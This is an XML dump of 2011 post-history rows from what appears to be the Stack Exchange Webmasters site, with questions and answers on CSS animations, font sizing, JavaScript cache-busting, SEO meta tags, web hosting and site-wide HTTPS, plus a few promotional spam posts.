  <row Id="36210" PostHistoryTypeId="5" PostId="15337" RevisionGUID="7d8e9f07-6f73-42c0-b2bb-d2fdc3989c02" CreationDate="2011-06-14T21:48:25.617" UserId="4502" Comment="added 313 characters in body" Text="The &lt;a href=&quot;http://www.si-les-idees-suffisaient.net/jquery/textgrad.html&quot;&gt;jQuery textgrad plugin&lt;/a&gt; can do this. Scroll down to the &quot;textscan&quot; header.&#xD;&#xA;This is several years old, though still works; it's just the first to mind. There's a decent chance something more recent exists, and this should at least give you some ideas how to go about searching further.&#xD;&#xA;&#xD;&#xA;[Edit: Michael added the HTML snippet while I was writing]&#xD;&#xA;Given that image is positioned absolutely, it's almost definite that they're just using a bit of script to slide it across the associated a(or maybe span tag) for the block link. Which, given the textgrad plugin seems like complicating things a bit." />
  <row Id="36211" PostHistoryTypeId="2" PostId="15338" RevisionGUID="93367b25-b809-41f9-a012-ba9a8284ead8" CreationDate="2011-06-14T21:49:29.407" UserId="1737" Text="Already answered at: [what should a developer know about websites?][1] Which covers security, and everything else, performance, SEO, etc...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://programmers.stackexchange.com/questions/46716/what-should-a-developer-know-before-building-a-public-web-site" />
  <row Id="36212" PostHistoryTypeId="16" PostId="15338" RevisionGUID="078cd05b-66d4-44a0-8cd5-d209e7ed5c38" CreationDate="2011-06-14T21:49:29.407" UserId="1737" />
  <row Id="36213" PostHistoryTypeId="2" PostId="15339" RevisionGUID="b928b076-9fbf-4cbb-968d-72cea78057d0" CreationDate="2011-06-14T21:59:20.137" UserId="8314" Text="I'm not on Google's cool person list, but from your screencast I got the idea. You can do this with a clever combination of `-webkit-background-clip: text` and some gradients (provided you're on a webkit browser). Here's a (messy) demo:&#xD;&#xA;&#xD;&#xA;http://jsfiddle.net/N8UjY/3/" />
  <row Id="36214" PostHistoryTypeId="2" PostId="15340" RevisionGUID="283abdb8-6ebd-4b90-aefc-8df69113507b" CreationDate="2011-06-14T22:35:27.240" UserId="6590" Text="Changing a web browsers default font size from 16px adversely affects the layout of the 3 divs that I have floated within my header div. Considering that the 3 header divs are fixed elements and not part of the site content or navigation as such, would it be better for me to fix the font size of the text in each div? &#xD;&#xA;&#xD;&#xA;The affected site is [here][1], if you change your browsers default font size to 15 or 17, for example, then you will notice that the positioning of the 3 divs becomes badly affected. I presume that this is due to me implementing the div floating incorrectly, the content div is configured the same as the header div but resizes elegantly if the font size is decreased or increased.&#xD;&#xA;&#xD;&#xA;The other alternative would be for me to just implement an image rather than divs containing heading text but I would then lose the SEO benefits that the non-graphical text provides.&#xD;&#xA;&#xD;&#xA;Many thanks in advance,&#xD;&#xA;Andy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.prosserandpikebuilders.co.uk/" />
  <row Id="36215" PostHistoryTypeId="1" PostId="15340" RevisionGUID="283abdb8-6ebd-4b90-aefc-8df69113507b" CreationDate="2011-06-14T22:35:27.240" UserId="6590" Text="Changing default browser font-size affecting 3 divs floated inside a header div" />
  <row Id="36216" PostHistoryTypeId="3" PostId="15340" RevisionGUID="283abdb8-6ebd-4b90-aefc-8df69113507b" CreationDate="2011-06-14T22:35:27.240" UserId="6590" Text="&lt;css&gt;&lt;browsers&gt;&lt;fonts&gt;" />
  <row Id="36217" PostHistoryTypeId="2" PostId="15341" RevisionGUID="d28932ef-c1b9-4376-86f8-7a537d6c94bc" CreationDate="2011-06-15T00:11:02.113" UserId="8316" Text="**JM-EXperts** is a recognized Expert Joomla Development Company. We at JM-EXperts are driven by logic, provide software consultancy, website development and IT services to clients located around the globe. We are an New York based Development Company.&#xD;&#xA;&#xD;&#xA;We believe in providing world-class service broken-up in stages like conceptualizing, consultancy, design and development. We have a pool of exceedingly skilled and talented professionals, who use Global Delivery Model to quicken the development process yet keeping the cost down. We excel and produce by implementing innovative methods of converging business and technology." />
  <row Id="36218" PostHistoryTypeId="25" PostId="15331" RevisionGUID="ed73f8e7-d13a-43d2-bf21-832cb3593ad6" CreationDate="2011-06-15T00:22:31.053" Comment="http://twitter.com/#!/StackWebmasters/status/80792261536907265" />
  <row Id="36222" PostHistoryTypeId="2" PostId="15343" RevisionGUID="f869f5cf-c3eb-4ec2-93d1-ba5bf9e89d41" CreationDate="2011-06-15T00:44:58.460" UserId="8317" Text="When carrying out research of successful web design companies, I stumbled across webcreationuk as a leader in the industry. I then proceeded to analyze their site in an attemp to learn a thing or two about what a web designers home site should look like. I was seriously disappointed...&#xD;&#xA;&#xD;&#xA;The sites main 'get a quote' bar is faulty in almost all the browsers I have seen, the layout and general design is appalling, the navigation isn't very clear and the page fails to display correctly on an iPhone device.&#xD;&#xA;&#xD;&#xA;How can such a reputable company have such a poor website?&#xD;&#xA;Basically my question is how has webcreationuk become so popular when they fail to do for themselves what they claim to do well for so many others?&#xD;&#xA;&#xD;&#xA;I am not trying to in any way harm the reputation of his company, I am simply curious about their success." />
  <row Id="36223" PostHistoryTypeId="1" PostId="15343" RevisionGUID="f869f5cf-c3eb-4ec2-93d1-ba5bf9e89d41" CreationDate="2011-06-15T00:44:58.460" UserId="8317" Text="How has a site like webcreationuk become so successful when their home page has serious issues?" />
  <row Id="36224" PostHistoryTypeId="3" PostId="15343" RevisionGUID="f869f5cf-c3eb-4ec2-93d1-ba5bf9e89d41" CreationDate="2011-06-15T00:44:58.460" UserId="8317" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;websites&gt;" />
  <row Id="36225" PostHistoryTypeId="2" PostId="15344" RevisionGUID="09d1e3cd-bac6-434a-ac7e-129efed0b9af" CreationDate="2011-06-15T02:15:20.477" UserId="4201" Text="My app produces geo-spatial data which I can host on my servers, but I also wish to give this data away to the open data community, does any one know of a hosting organization where I can create a website, and offer the data and incur no expenses on my part?" />
  <row Id="36226" PostHistoryTypeId="1" PostId="15344" RevisionGUID="09d1e3cd-bac6-434a-ac7e-129efed0b9af" CreationDate="2011-06-15T02:15:20.477" UserId="4201" Text="I have a mobile app that produces lots of data and I wish to make it available to everyone" />
  <row Id="36227" PostHistoryTypeId="3" PostId="15344" RevisionGUID="09d1e3cd-bac6-434a-ac7e-129efed0b9af" CreationDate="2011-06-15T02:15:20.477" UserId="4201" Text="&lt;web-hosting&gt;&lt;non-profit&gt;&lt;datastorage&gt;" />
  <row Id="36228" PostHistoryTypeId="2" PostId="15345" RevisionGUID="fa06312b-af7f-429d-81ef-1d01a9dfc135" CreationDate="2011-06-15T02:59:17.603" UserId="8319" Text="Yes, Windows supports PHP and with Fast-CGI actually runs faster than Apache. I would throw a recommend to [reliablesite.net][1] if you're looking for a windows host that is fully php compatible. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.reliablesite.net/v4/web-hosting.aspx" />
  <row Id="36229" PostHistoryTypeId="2" PostId="15346" RevisionGUID="58141794-3fc7-43f0-9929-b1bcfc133691" CreationDate="2011-06-15T03:00:01.190" UserId="5406" Text="Have you looked at [Freebase][1]?  It looks like it might accept datasets, although you wouldn't build a website there; the data would be accessible through their existing site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebase.com" />
  <row Id="36230" PostHistoryTypeId="2" PostId="15347" RevisionGUID="ad8aeb18-ae50-4237-9a21-8fdd4d0d19c3" CreationDate="2011-06-15T03:01:56.010" UserId="8319" Text="Hostgator resells softlayer servers. Hostgator will pretty much just manage the server for you, softlayer actually owns and operates the hardware. Fyi, you have tons of choices when it comes to dedicated hosting providers, I can recommend [reliablesite.net][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.reliablesite.net/v4/dedicated-servers.aspx" />
  <row Id="36231" PostHistoryTypeId="2" PostId="15348" RevisionGUID="fc08cc68-2393-4aaf-ba65-4b4d3f040391" CreationDate="2011-06-15T03:14:09.380" UserId="8319" Text="You're going to be hard pressed to find a quality host free of charge. Throwing in a few bucks a month will get you *much* better quality of service a ton more features. I'm currently with [reliablesite][1], super cheap but fast and so far great. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.reliablesite.net/v4/web-hosting.aspx" />
  <row Id="36232" PostHistoryTypeId="2" PostId="15349" RevisionGUID="22f0228a-7666-4fe2-8e0a-d2f6c366fc3f" CreationDate="2011-06-15T03:16:39.423" UserId="8319" Text="I would recommend [reliablesite][1], it's much lower than your budget, 100 GB of bandwidth, and rock solid. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.reliablesite.net/v4/web-hosting.aspx" />
  <row Id="36233" PostHistoryTypeId="25" PostId="15283" RevisionGUID="fd328580-8a1e-4cad-a871-88a8278f43a6" CreationDate="2011-06-15T03:22:31.893" Comment="http://twitter.com/#!/StackWebmasters/status/80837563077754881" />
  <row Id="36234" PostHistoryTypeId="2" PostId="15350" RevisionGUID="f5198796-7d4a-4ac4-980f-d0b7b70833b6" CreationDate="2011-06-15T04:06:24.183" UserId="8302" Text="Normally, when dealing with text, especially within the main content area, I would suggest leaving the `font` fluid so that the user has as much control as needed in order to properly use the content.&#xD;&#xA;&#xD;&#xA;However, in this circumstance, it is `header` text, which is already oversized and quite legible.&#xD;&#xA;&#xD;&#xA;In this case, I would set a static `font-size` to maintain the design." />
  <row Id="36235" PostHistoryTypeId="10" PostId="15343" RevisionGUID="01438cd5-a4af-42ec-a84d-09688f334c8d" CreationDate="2011-06-15T04:08:00.970" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="36239" PostHistoryTypeId="2" PostId="15351" RevisionGUID="83a211dd-42f5-4259-b12d-23d4875534aa" CreationDate="2011-06-15T04:28:33.610" UserId="8302" Text="Your problem might be with the Javascript SDK.  &#xD;&#xA;&#xD;&#xA;According to FB, it's needed for rendering XFBML plugins.  It looks as if you need to register, too.&#xD;&#xA;&#xD;&#xA;http://developers.facebook.com/docs/reference/javascript/&#xD;&#xA;&#xD;&#xA;Also, according to the same page, &#xD;&#xA;&#xD;&#xA;&gt; In order to use XFBML on your webpage,&#xD;&#xA;&gt; you must add an XML namespace&#xD;&#xA;&gt; attribute to the root &lt;html&gt; element&#xD;&#xA;&gt; of your page. Without this&#xD;&#xA;&gt; declaration, XFBML tags will not&#xD;&#xA;&gt; render in Internet Explorer.&#xD;&#xA;&#xD;&#xA;`&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xmlns:fb=&quot;http://www.facebook.com/2008/fbml&quot;&gt;`&#xD;&#xA; " />
  <row Id="36240" PostHistoryTypeId="2" PostId="15352" RevisionGUID="14e9dbdc-e0be-4f18-a0d4-c0e756f860d0" CreationDate="2011-06-15T05:23:39.483" UserId="2026" Text="Advantage of including js on web page is, I need not to worry about cached js file. If i change it on the server, same will be refelected on client side. But it increas the size and complexity of webpage. It also affets average response time.&#xD;&#xA;&#xD;&#xA;But if I make a separate js, so it could be saved at client side on first request, client needs to remove cached js when I do some changes in js at server side.&#xD;&#xA;&#xD;&#xA;Is there any way (some HTML tag or attribute) to intimate the browser that js file has been changed at server side. So dowload the new copy. Or something like versioning." />
  <row Id="36241" PostHistoryTypeId="1" PostId="15352" RevisionGUID="14e9dbdc-e0be-4f18-a0d4-c0e756f860d0" CreationDate="2011-06-15T05:23:39.483" UserId="2026" Text="How to intimate browser that javascript(external) has been changed." />
  <row Id="36242" PostHistoryTypeId="3" PostId="15352" RevisionGUID="14e9dbdc-e0be-4f18-a0d4-c0e756f860d0" CreationDate="2011-06-15T05:23:39.483" UserId="2026" Text="&lt;javascript&gt;&lt;version&gt;" />
  <row Id="36243" PostHistoryTypeId="2" PostId="15353" RevisionGUID="f148f6b4-069d-4c33-91cf-6355b6e8035b" CreationDate="2011-06-15T05:35:13.703" UserId="8302" Text="Use a made up query string attached to the end of the file name.  Browsers think the file is new and download it.  The query string does not affect the file.&#xD;&#xA;&#xD;&#xA;So `&lt;script type=&quot;text/javascript&quot; src=&quot;your.js?123&quot;&gt;&lt;/script&gt;`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36244" PostHistoryTypeId="2" PostId="15354" RevisionGUID="a54829ac-054b-4a53-b16c-6b2d05f53623" CreationDate="2011-06-15T06:04:09.387" UserId="8058" Text="This is what version numbers are good for. If you include your file with a version number in the file name (like jquery-1-5-1.min.js), then later when a new version of the file is deployed you update with the new version number (like jquery-1-6-0.min.js), then you don't have to worry about the caching." />
  <row Id="36245" PostHistoryTypeId="2" PostId="15355" RevisionGUID="1a939b3d-dbc5-4fdf-bacd-d43f32050e54" CreationDate="2011-06-15T06:07:42.440" UserId="8323" Text="&quot;Off the top of my head, we could leave unanswered questions out of Google's index completely&quot;&#xD;&#xA;--------------&#xD;&#xA;Yes and no, IMO, depending on how fast are questions generally answered. All questions aren't answered  when posted for example almost by definition (unless the question answered something else ). Maybe make it so if not answered for x days, no-index and ping google to see see the tag and no-index. &#xD;&#xA;&#xD;&#xA;**Do you have more unanswered questions in the sites that went down?** &#xD;&#xA;&#xD;&#xA;Google is surely experimenting and some sites have lost even 70% of their traffic since 2/24. Not every one of them is a bad site, you know, just no recovery from panda so far, regardless of what you did to the site. " />
  <row Id="36255" PostHistoryTypeId="2" PostId="15359" RevisionGUID="f83f3973-687f-4e19-87f3-d5477933febb" CreationDate="2011-06-15T07:30:43.507" UserId="8141" Text="The better option would be setting the static font size according to div.For different divs,we can use different font sizes and also we can use a default font size for the body maybe&#xD;&#xA;&#xD;&#xA;    font-size:12px" />
  <row Id="36256" PostHistoryTypeId="5" PostId="15352" RevisionGUID="ec0e71c6-48fc-4455-aa96-1d04edf2193f" CreationDate="2011-06-15T07:49:21.093" UserId="1643" Comment="Various spelling corrections" Text="The advantage of including js on web page is that I need not to worry about cached js file. If I change it on the server, the same will be reflected on client side. But it increases the size and complexity of webpage. It also affects average response time.&#xD;&#xA;&#xD;&#xA;But if I make a separate js, so it could be saved at client side on first request, client needs to remove cached js when I do some changes in js at server side.&#xD;&#xA;&#xD;&#xA;Is there any way (some HTML tag or attribute) to indicate to the browser that js file has been changed at server side. So it downloads the new copy. Or something like versioning." />
  <row Id="36257" PostHistoryTypeId="4" PostId="15352" RevisionGUID="ec0e71c6-48fc-4455-aa96-1d04edf2193f" CreationDate="2011-06-15T07:49:21.093" UserId="1643" Comment="Various spelling corrections" Text="How to indicate to browser that javascript (external) has been changed." />
  <row Id="36261" PostHistoryTypeId="2" PostId="15361" RevisionGUID="6ddf1d2f-21d7-4683-99c7-f8d307d5478f" CreationDate="2011-06-15T08:52:43.187" UserId="8326" Text="so I like the stock images and illustrations on istockphoto.com but they're kind of expansive because you have to buy a $18,50 package if you want one image that would cost 3 to 5 dollars, and the odd currency of the site don't help making me at ease with the website... so is there any website where I can get per image pricing and a good price for it? Lots of designer in this website so someone might have found a good site I assume, not asking for a free stock images website I have a big list of those but a cheap and per item priced website where an image for web won't be over $5 (800px+)&#xD;&#xA;&#xD;&#xA;any helps is welcome, thanks!&#xD;&#xA;" />
  <row Id="36262" PostHistoryTypeId="1" PostId="15361" RevisionGUID="6ddf1d2f-21d7-4683-99c7-f8d307d5478f" CreationDate="2011-06-15T08:52:43.187" UserId="8326" Text="Cheap stock images website (per image pricing)" />
  <row Id="36263" PostHistoryTypeId="3" PostId="15361" RevisionGUID="6ddf1d2f-21d7-4683-99c7-f8d307d5478f" CreationDate="2011-06-15T08:52:43.187" UserId="8326" Text="&lt;images&gt;&lt;web&gt;" />
  <row Id="36264" PostHistoryTypeId="25" PostId="15361" RevisionGUID="544803df-656f-4052-bb56-50497bc2ecd2" CreationDate="2011-06-15T09:22:31.550" Comment="http://twitter.com/#!/StackWebmasters/status/80928159138189312" />
  <row Id="36265" PostHistoryTypeId="5" PostId="15270" RevisionGUID="5bc72bcb-39e4-4432-aced-1d6f5f3be5ac" CreationDate="2011-06-15T09:31:12.547" UserId="8009" Comment="deleted 2 characters in body" Text="It depends how much traffic these 1.3m pages are getting. If it's a high-traffic site, I expect you'll be looking at a dedicated database server and another to handle 'the rest'...&#xD;&#xA;&#xD;&#xA;More info." />
  <row Id="36266" PostHistoryTypeId="2" PostId="15362" RevisionGUID="44243af1-c1fd-4749-8ddf-1807ed2d8694" CreationDate="2011-06-15T09:42:01.010" UserId="962" Text="I noticed that Stackoverflow and the other Stackexchange websites have very few of the expected meta tags (keywords, description, etc) in their html.   The stackexchange sites consistently rank pretty well so I was wondering why that might be.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36267" PostHistoryTypeId="1" PostId="15362" RevisionGUID="44243af1-c1fd-4749-8ddf-1807ed2d8694" CreationDate="2011-06-15T09:42:01.010" UserId="962" Text="Stackexchange meta tags" />
  <row Id="36268" PostHistoryTypeId="3" PostId="15362" RevisionGUID="44243af1-c1fd-4749-8ddf-1807ed2d8694" CreationDate="2011-06-15T09:42:01.010" UserId="962" Text="&lt;seo&gt;" />
  <row Id="36269" PostHistoryTypeId="17" PostId="15363" RevisionGUID="5f242894-84bf-49c8-8ee9-38f2941891e1" CreationDate="2011-06-15T09:45:32.827" UserId="-1" Comment="from http://stackoverflow.com/questions/6354988/cheap-stock-images-website-per-image-pricing" Text="" />
  <row Id="36270" PostHistoryTypeId="2" PostId="15363" RevisionGUID="19e8a42f-70f7-4cc3-b234-ce4eac1500a1" CreationDate="2011-06-15T08:27:48.057" UserId="9224" UserDisplayName="Evilalan" Text="so I like the stock images and illustrations on istockphoto.com but they're kind of expansive because you have to buy a $18,50 package if you want one image that would cost 3 to 5 dollars, and the odd currency of the site don't help making me at ease with the website... so is there any website where I can get per image pricing and a good price for it? Lots of designer in this website so someone might have found a good site I assume, not asking for a free stock images website I have a big list of those but a cheap and per item priced website where an image for web won't be over $5 (800px+)&#xD;&#xA;&#xD;&#xA;any helps is welcome, thanks!" />
  <row Id="36271" PostHistoryTypeId="1" PostId="15363" RevisionGUID="19e8a42f-70f7-4cc3-b234-ce4eac1500a1" CreationDate="2011-06-15T08:27:48.057" UserId="9224" UserDisplayName="Evilalan" Text="Cheap stock images website (per image pricing)" />
  <row Id="36272" PostHistoryTypeId="3" PostId="15363" RevisionGUID="19e8a42f-70f7-4cc3-b234-ce4eac1500a1" CreationDate="2011-06-15T08:27:48.057" UserId="9224" UserDisplayName="Evilalan" Text="&lt;image&gt;&lt;web&gt;" />
  <row Id="36273" PostHistoryTypeId="2" PostId="15364" RevisionGUID="6e081674-72f0-4428-a509-b79cf30ad43e" CreationDate="2011-06-15T09:46:31.877" UserId="1643" Text="&#xD;&#xA;&gt; Because the keywords meta tag was so&#xD;&#xA;&gt; often abused, many years ago Google&#xD;&#xA;&gt; began disregarding the keywords meta&#xD;&#xA;&gt; tag.&#xD;&#xA;&#xD;&#xA;http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html&#xD;&#xA;&#xD;&#xA;They sometimes use the description tag (see that article). The stackexchange sites rank well because of seo goodness like lots of incoming links and useful original content." />
  <row Id="36274" PostHistoryTypeId="17" PostId="15365" RevisionGUID="93435d7d-4e8c-4d6a-bd43-d4223f2374c2" CreationDate="2011-06-15T10:01:10.037" UserId="-1" Comment="from http://stackoverflow.com/questions/6327035/using-https-on-the-entire-sites-2011-and-beyond" Text="" />
  <row Id="36275" PostHistoryTypeId="17" PostId="15366" RevisionGUID="b140e95b-f998-4eb8-93c4-b471ae1b30c7" CreationDate="2011-06-15T10:01:10.037" UserId="-1" Comment="from http://stackoverflow.com/questions/6327035/using-https-on-the-entire-sites-2011-and-beyond" Text="" />
  <row Id="36276" PostHistoryTypeId="2" PostId="15366" RevisionGUID="28405ccb-8740-49b7-9632-4ced03836641" CreationDate="2011-06-15T01:12:06.323" UserId="4759" Text="Your friend is right. Cookies are sent with every request, even for things like images, so you have to make sure everything is being sent securely if the cookies are sensitive.&#xD;&#xA;&#xD;&#xA;The browser warnings only occur when there's a problem with the server's certificate. The most common problems are an expired certificate, an improperly configured certificate (i.e. trying to use the same non-wildcard certificate for multiple domains), or a certificate that hasn't been issued by a trusted certificate authority (Comodo, Thawte, Geotrust, etc).&#xD;&#xA;&#xD;&#xA;When HTTPS is used, there is an overhead. There's a &quot;handshake&quot; that occurs at the beginning of a connection that takes a fraction of a second, and there is slightly more processor load. This used to be an issue when folks were on dial up connections and CPUs were slow. Now, this isn't a determining factor, and you shouldn't see more than a few percent increase in CPU load. Processor time is cheap now. These performance issues are negligible.&#xD;&#xA;&#xD;&#xA;I don't know whether the internet is going all-encrypted. Perhaps. You only need to provide encryption when personal details, including cookies that will log a user in automatically (they're the equivalent of a username/password, albeit somewhat more ephemeral). If the cookies aren't sensitive, and no private details are being transmitted over the wire, encryption isn't mandatory.&#xD;&#xA;&#xD;&#xA;I doubt eBay, Amazon, et al are vulnerable to session hijacking. You'll also note that these sites will prevent users from doing special things like updating their passwords, making payments, etc without the user providing their a password again. Session hijacking is only a problem if a malicious user can do something bad, otherwise, a session cookie is worthless.&#xD;&#xA;&#xD;&#xA;SSL should be used for anything sensitive. If it's sensitive, encrypt. If it's not, cleartext is okay. Encryption isn't a panacea, but a piece in your security strategy." />
  <row Id="36277" PostHistoryTypeId="2" PostId="15365" RevisionGUID="0b502351-2f30-4990-95cb-e3c26bb6b0ee" CreationDate="2011-06-13T05:46:38.970" UserDisplayName="Elwy" Text="I know this has been asked before, but I am curious what all of you guys think, with the advent of programs like **firesheep**, released only 6 months ago. Is it a good idea to use *https* on an entire site? I am aware that is has **speed issues, browser warning popups** and the like, but how likely and serious it could get if you don't have it for every page? A friend told me it is useless if even just **one** part of the site where a user is logged in is not https, because people can intercept the cookies, and therefore pretend to be you and use your account as they please, including accessing the https parts. &#xD;&#xA;&#xD;&#xA;1. Do you think this is where the future of the internet is going towards, and is it wise to implement it now? &#xD;&#xA;&#xD;&#xA;2. The site has log in, credit card/ecommerce type pages as well as other pages that only has normal blog entry type posts. Is it still fairly alright to just use https on the log in and payments part of the site, or will it really compromise security?&#xD;&#xA;&#xD;&#xA;3. What is the reason why sites like ebay and amazon until now, only chose to do it on certain parts of the site? Does that mean they are now easily hackable?&#xD;&#xA;&#xD;&#xA;4. How much slower will using https on everything be... are there any other cons apart from the ones mentioned above?&#xD;&#xA;&#xD;&#xA;5. Are the browser pop-up issues solvable? " />
  <row Id="36278" PostHistoryTypeId="1" PostId="15365" RevisionGUID="0b502351-2f30-4990-95cb-e3c26bb6b0ee" CreationDate="2011-06-13T05:46:38.970" UserDisplayName="Elwy" Text="Using HTTPS on the entire sites 2011 and beyond" />
  <row Id="36279" PostHistoryTypeId="3" PostId="15365" RevisionGUID="0b502351-2f30-4990-95cb-e3c26bb6b0ee" CreationDate="2011-06-13T05:46:38.970" UserDisplayName="Elwy" Text="&lt;ssl&gt;&lt;ecommerce&gt;" />
  <row Id="36280" PostHistoryTypeId="2" PostId="15367" RevisionGUID="8db4be2b-d175-4b0d-b4ce-206b5faac8ad" CreationDate="2011-06-15T10:06:53.807" UserId="8328" Text="You can use the a gradient, and CSS3 animations for this:&#xD;&#xA;&#xD;&#xA;     background:-webkit-gradient(linear, left top, right top, from(#000), to(#000), color-stop(0.5, #fff)) 0 0 no-repeat;&#xD;&#xA;&#xD;&#xA;    @-webkit-keyframes GoogleLikeShine&#xD;&#xA;    {&#xD;&#xA;        0%&#xD;&#xA;        {&#xD;&#xA;            background-position:top left;&#xD;&#xA;        }&#xD;&#xA;        100%&#xD;&#xA;        {&#xD;&#xA;            background-position:top right;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Of course, you can do the same for Firefox with the Mozilla vendor prefix." />
  <row Id="36281" PostHistoryTypeId="5" PostId="15229" RevisionGUID="9609fd48-ac13-4b86-8a1c-717076bcde23" CreationDate="2011-06-15T10:13:12.197" UserId="8155" Comment="added 461 characters in body; added 42 characters in body" Text="Been trying for a while to get this script fully working I think I'm nearly there. &#xD;&#xA;&#xD;&#xA;Ok so I basically need the script to show 3 things, email address - Browser type -  Time logged in. &#xD;&#xA;&#xD;&#xA;    EMAILS='/home/user/emaillist.txt'&#xD;&#xA;    MAIL=$EMAILS&#xD;&#xA;    while read MAIL;&#xD;&#xA;    do&#xD;&#xA;    grep -f $EMAILS /var/log/apache2/ssl_access.log&gt;&gt;/home/user/test.txt&#xD;&#xA;    done &lt; $EMAILS&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I need some way of first using the todays date in here so it only searches the apache logs for that data. I was thinking about using the linux date  +&quot;[%d/%b/%Y&quot; command in the script as this will match the correct date formate. &#xD;&#xA;&#xD;&#xA;The other aspect is that I only need the output to show the user's email address | Browser type and date from apache nothing else. &#xD;&#xA;&#xD;&#xA;HELP please &#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;Managed to play around with the script and got it to this stage where it works fine I just need to work out how to add browser data into the text file?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    x=$(date +&quot;%d/%b/%Y&quot;)&#xD;&#xA;    y=$(date +&quot;%d%b%Y&quot;)&#xD;&#xA;    filename=emaillist.txt &#xD;&#xA;    while read filename&#xD;&#xA;    do &#xD;&#xA;            if COUNT=$(grep $filename /var/log/apache2/ssl_access.log |grep -c $x) &#xD;&#xA;            then  &#xD;&#xA;            echo $filename:$COUNT&gt;&gt;/home/user/logs/usage&quot;$y&quot;.txt  &#xD;&#xA;            fi&#xD;&#xA;    done &lt; emaillist.txt&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36283" PostHistoryTypeId="2" PostId="15368" RevisionGUID="542e8b06-79a6-469b-9e8e-9f5b944ff171" CreationDate="2011-06-15T10:26:35.187" UserId="7198" Text="[Here's a live demo](http://jsfiddle.net/CcgDq/) of a CSS-only solution. (WebKit browsers only, click &quot;Run&quot; to replay animation).&#xD;&#xA;&#xD;&#xA;**HTML:**&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;#&quot; class=&quot;kob&quot;&gt;Block all results from site.com&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;**CSS:**&#xD;&#xA;&#xD;&#xA;    a.kob{&#xD;&#xA;        color:#36C;&#xD;&#xA;        text-decoration:none;&#xD;&#xA;        font-family:arial, sans-serif;&#xD;&#xA;        font-size:13px;    &#xD;&#xA;        -webkit-animation: wipe 3.0s;&#xD;&#xA;        -webkit-animation-direction: forwards;&#xD;&#xA;        -webkit-mask-repeat:no-repeat;&#xD;&#xA;        -webkit-mask-position: -40px 0;&#xD;&#xA;        -webkit-mask-size: 40px 50px;&#xD;&#xA;        -webkit-mask-image:  -webkit-gradient(linear, left top, right top,&#xD;&#xA;                            color-stop(0.00,  rgba(0,0,0,1.0)),&#xD;&#xA;                            color-stop(0.45,  rgba(0,0,0,0.6)),&#xD;&#xA;                            color-stop(0.50,  rgba(0,0,0,0.0)),&#xD;&#xA;                            color-stop(0.55,  rgba(0,0,0,0.6)),&#xD;&#xA;                            color-stop(1.00,  rgba(0,0,0,1.0))); &#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    @-webkit-keyframes wipe {&#xD;&#xA;                0% {&#xD;&#xA;                    -webkit-mask-position: -40px 0; &#xD;&#xA;                }&#xD;&#xA;                100% {&#xD;&#xA;                    -webkit-mask-position: 330px 0;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36284" PostHistoryTypeId="5" PostId="15368" RevisionGUID="24ec8472-2f8d-4283-9ffa-0819bed18b9c" CreationDate="2011-06-15T11:22:28.500" UserId="7198" Comment="deleted 48 characters in body" Text="[Here's a live demo](http://jsfiddle.net/SJvVF/) of a CSS-only solution. (WebKit browsers only, click &quot;Run&quot; to replay animation).&#xD;&#xA;&#xD;&#xA;**HTML:**&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;#&quot; class=&quot;kob&quot;&gt;Block all results from site.com&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;**CSS:**&#xD;&#xA;&#xD;&#xA;    a.kob{&#xD;&#xA;        color:#36C;&#xD;&#xA;        text-decoration:none;&#xD;&#xA;        font-family:arial, sans-serif;&#xD;&#xA;        font-size:13px;    &#xD;&#xA;        -webkit-animation: wipe 3.0s;&#xD;&#xA;        -webkit-mask-repeat:no-repeat;&#xD;&#xA;        -webkit-mask-position: -40px 0;&#xD;&#xA;        -webkit-mask-size: 40px 50px;&#xD;&#xA;        -webkit-mask-image:  -webkit-gradient(linear, left top, right top,&#xD;&#xA;                            color-stop(0.00,  rgba(0,0,0,1.0)),&#xD;&#xA;                            color-stop(0.45,  rgba(0,0,0,0.6)),&#xD;&#xA;                            color-stop(0.50,  rgba(0,0,0,0.0)),&#xD;&#xA;                            color-stop(0.55,  rgba(0,0,0,0.6)),&#xD;&#xA;                            color-stop(1.00,  rgba(0,0,0,1.0))); &#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    @-webkit-keyframes wipe {&#xD;&#xA;                0% {&#xD;&#xA;                    -webkit-mask-position: -40px 0; &#xD;&#xA;                }&#xD;&#xA;                100% {&#xD;&#xA;                    -webkit-mask-position: 330px 0;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
